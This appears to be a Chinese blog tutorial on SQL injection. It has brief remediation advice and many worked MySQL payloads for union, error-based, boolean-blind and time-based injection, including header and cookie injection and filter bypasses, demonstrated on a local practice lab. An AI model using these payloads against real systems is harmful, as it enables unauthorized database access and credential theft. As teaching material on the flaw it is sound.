天天看點

SQL注入漏洞知識總結

目錄:

一、SQL注入漏洞介紹

二、修複建議

三、通用姿勢

四、具體執行個體

五、各種繞過

一、SQL注入漏洞介紹:

      SQL注入攻擊包括通過輸入資料從用戶端插入或“注入”SQL查詢到應用程式。一個成功的SQL注入攻擊可以從資料庫中擷取敏感資料、修改資料庫資料(插入/更新/删除)、執行資料庫管理操作(如關閉資料庫管理系統)、恢複存在于資料庫檔案系統中的指定檔案内容,在某些情況下能對作業系統釋出指令。SQL注入攻擊是一種注入攻擊。它将SQL指令注入到資料層輸入,進而影響執行預定義的SQL指令。由于使用者的輸入,也是SQL語句的一部分,是以攻擊者可以利用這部分可以控制的内容,注入自己定義的語句,改變SQL語句執行邏輯,讓資料庫執行任意自己需要的指令。通過控制部分SQL語句,攻擊者可以查詢資料庫中任何自己需要的資料,利用資料庫的一些特性,可以直接擷取資料庫伺服器的系統權限。

二、修複建議

  1. 使用參數化查詢接口或在代碼級對帶入SQL語句中的外部參數進行轉義或過濾;
  2. 對于整數,判斷變量是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;
  3. 對于字元串,對SQL語句特殊字元進行轉義(單引号轉成兩個單引号,雙引号轉成兩個雙引号)。

三、通用姿勢

3.1 通過以下操作先大概判斷是否存在注入點

  1. 如果參數(id)是數字,測試id=2-1與id=1傳回的結果是否相同,如果做了2-1=1的運算,說明可能存在數字型注入。如果要用+号運算的話,因為URL編碼的問題,需要把加好換成%2B,如id=1%2B1
  2. 在參數後面加單引号或雙引号,判斷傳回結果是否有報錯
  3. 添加注釋符,判斷前後是否有報錯,如id=1\' --+ 或 id=1" --+ 或id=1\' # 或id=1" --+  (--後面跟+号,是把+當成空格使用)
  4. 有些參數可能在括号裡面,如:SELECT first_name, last_name FROM users WHERE user_id = (\'$id\');是以也可以在參數後面加單雙引号和括号,如id=1\')  --+ 或 id=1") --+ 或id=1\') # 或id=1") --+ 
  5. 參數後面跟or 或者and,判斷傳回結果是否有變化,如1\' or \'a\'=\'a  或者and \'a\'=\'a或者1\' or \'a\'=\'b或者1\' or \'1\'=\'2
  6.   如果傳回的正确頁面與錯誤頁面都一樣,可以考慮時間延遲的方法判斷是否存在注入,如  1’ and sleep(5)

3.2 如果存在注入,利用注入擷取資訊

3.2.1 查詢結果如果可以直接傳回

利用聯合查詢一步步的擷取資訊,如:

// 擷取資料庫名稱,注意聯合查詢要求前後查詢的列數和資料類型必須對應
1\' union select schema_name ,1 from information_schema.schemata --       
//根據上一步擷取的資料庫名稱,擷取表名
1\' union select table_name from information_schema.tables where table_schema=\'database_name\'      
//根據上面的資料庫名稱和表名擷取字段名
1\' union select column_name from information_schema.columns where table_schema=\'database_name\' and table_name=\'table_name\'       
//擷取字段值,使用group_concat的目的是把查詢結果合并成1列,另外,如果跨資料庫查詢值得花,需要使用資料庫名.表明的格式,比如information_schema.schemata
1′ union select group_concat(user_id,first_name,last_name),group_concat(password) from 資料庫名.表名      

3.2.2 通過報錯回顯查詢結果,如:

#利用報錯回顯查詢到的值,回顯目前的資料庫名
and extractvalue(1,concat(0x7e,(select database())))      
#回顯表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\'security\' )))  

#回顯列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=\'security\' and table_name=\'users\')))       

3.2.3 布爾型注入,如:

#判斷資料庫名的長度是多少
SELECT * FROM users where id =\'1\' and LENGTH(database())=8    

# 二分查找發挨個判斷資料庫名稱的每個字母
SELECT * FROM users where id =\'1\' and ascii(substr((select database()),1,1))>115   

#挨個判斷此資料庫中表的每個字母
SELECT * FROM users where id =\'1\' and ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit 3,1),1,1))>116        

3.2.4 時間延遲注入,如:

and IF(ascii(substr((select database()),1,1))>115,1,sleep(5)) 
      

四、具體執行個體

4.1  字元型(參數在單引号内,直接傳回結果)

 步驟1:參數後面加一個單引号報SQL錯誤

分析:單引号報錯,是以參數在兩個單引号裡面,通過閉合單引号、聯合查詢直接查詢到資料庫資料

SQL注入漏洞知識總結

步驟2:構造payload 

 id=0\' union select NULL,database(),NULL --+   #查詢目前資料庫的名稱

SQL注入漏洞知識總結

#爆庫名

id=0\' union select null,group_concat(schema_name),null from information_schema.schemata --+

SQL注入漏洞知識總結

#爆表名

id=0\' union select null,group_concat(table_name),null from information_schema.tables where table_schema=\'security\' --+

SQL注入漏洞知識總結

#爆字段名

id=0\' union select null,group_concat(column_name),null from information_schema.columns where table_schema=\'security\' and table_name=\'users\' --+

SQL注入漏洞知識總結

#擷取資料庫中的資料

id=0\' union select null,group_concat(username,0x3a,password),null from security.users--+

SQL注入漏洞知識總結

4.2  數字型(直接傳回結果)

 步驟1:id=1與id=2-1傳回相同結果,數字型注入

SQL注入漏洞知識總結

步驟2:構造payload

無需引号閉合,id後面直接跟聯合索引就行了

#爆庫名

SQL注入漏洞知識總結

4.3  字元型(參數在單引号和括号内、直接傳回結果)

步驟1:輸入單引号報錯,根據報錯可知參數在單引号和括号内

SQL注入漏洞知識總結

步驟2:閉合查詢

用單引号、括号和注釋閉合查詢,payload: id=1\') --+

SQL注入漏洞知識總結

步驟3:各種爆,與上面的操作相同

4.4  布爾型(參數在單引内、不傳回查詢結果)

步驟1:輸入單引号報錯,根據報錯得知參數在單引号内,構造id=1\' --+傳回正确頁面,确認存在注入

步驟2:查詢結果不傳回,根據id=1\' and 1=1 --+  與 id=1\' and 1=2 --+傳回結果不同,判斷存在布爾型注入

步驟3:構造payload,先判斷資料庫名的長度,id=1\' \' and LENGTH(database())=8 --+  值等于8的時候傳回正确的頁面,說明資料庫長度為8

SQL注入漏洞知識總結

步驟4:通過二分查找法,挨個判斷資料庫名稱的每個字母

id=1\' and ascii(substr((select database()),1,1))>110  --+  #判斷第一個字母的ascii是否大于110,傳回正确頁面,說明大于110      
id=1\' and ascii(substr((select database()),1,1))>118  --+  #判斷第一個字母的ascii是否大于118,傳回不正确頁面,說明小與等于118      
id=1\' and ascii(substr((select database()),1,1))>115  --+  #判斷第一個字母的ascii是否大于115,傳回不正确頁面,說明小與等于115      
id=1\' and ascii(substr((select database()),1,1))>113  --+  #判斷第一個字母的ascii是否大于113,傳回正确頁面,說明大與113

id=1\' and ascii(substr((select database()),1,1))>114  --+  #判斷第一個字母的ascii是否大于114,傳回正确頁面,說明大與114

大于114,小于等于115,第一個字母的ascii值肯定就是115了,是以第一個字母就是s,依次類推可以查到剩下的所有字母。


4.5 布爾型(參數在單引内和兩個括号内、不傳回查詢結果)
步驟1:輸入單引号報錯,但沒有詳細的報錯提示      
SQL注入漏洞知識總結

步驟2:增加1個括号也報錯,增加2個括号傳回正确

SQL注入漏洞知識總結

步驟3:布爾型,不傳回查詢結果,payload與上面的相同。

4.6 時間延遲注入(無論查詢是否正确都傳回一樣的頁面)

步驟1:如論輸入什麼,都傳回一樣的頁面,是以考慮時間延遲注入

步驟2:直接1 and sleep(5) --+  沒延遲,說明查詢語句沒有閉合成功

步驟3:猜測參數在單引号内,構造payload:id=1\' and sleep(5) --+  頁面相應延遲,存在注入

步驟4:構造payload,當資料庫名長度為8的時候沒有延遲,說明資料庫名稱的長度就是8

id=1\'  AND IF(LENGTH(database())=8,1,sleep(10)) --+

SQL注入漏洞知識總結

 步驟5:通過如下方式,挨個判斷資料庫名的字母

 id=1\'  and IF(ascii(substr((select database()),1,1))>115,1,sleep(5)) --+

 4.7 字元型報錯注入(錯誤值被傳回)

步驟1:按下面的測試,username字段存在字元型注入,參數在單引号内

SQL注入漏洞知識總結

步驟2:username字段輸入一些無關的東西,SQL報錯詳情被回顯

SQL注入漏洞知識總結

步驟3:利用extractvalue函數,讓執行的結果以報錯的方式顯示出來

extractvalue(目标xml文檔,xml路徑),第二個參數的格式是/xxx/xx/xx/xx,如果格式不正确就會把報錯顯示出來

構造payload:uname=admin\' and extractvalue(1,concat(0x7e,(select database())))--+

SQL注入漏洞知識總結

 4.7 user-agent類型的注入

步驟1:user-agent的值被原封傳回了

SQL注入漏洞知識總結

 步驟2:這裡需要借助源碼審計了,否則不容易猜到真實的sql語句。

如下源碼所示,SQL語句是三個字段的insert語句,然後$uagent被傳回。 

SQL注入漏洞知識總結

步驟3:結合報錯注入,構造payload:

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0\', extractvalue(1,concat(0x7e,(select database()))),\'1\') #

SQL注入漏洞知識總結

 4.8 Referer類型的注入

方法與上述相同,先閉合sql語句,然後利用報錯傳回,payload如下:

Referer: http://127.0.0.1/sql/Less-19/\',extractvalue(1,concat(0x7e,(select database()))))#

SQL注入漏洞知識總結

 4.9 Cookie類型的注入

步驟1:輸入單引号報錯,确認屬于cookie類型的注入,而且報錯回顯了,利用報錯回顯資料

SQL注入漏洞知識總結

步驟2:構造payload

Cookie: uname=admin\' and extractvalue(1,concat(0x7e,(select database()))) #

SQL注入漏洞知識總結

五、各種繞過

 5.1 注釋符被過濾(--、#)

方法1:union查詢中多加一個單引号以便閉合sql語句,比如:

id=0\' union select null,database(),\'null
id=0\' union select null,group_concat(schema_name),null from information_schema.schemata union select null,null,\'nul
      

 5.2 空格被過濾

方法1:使用/**/注釋符代替空格

未完待續……

SQL注入漏洞知識總結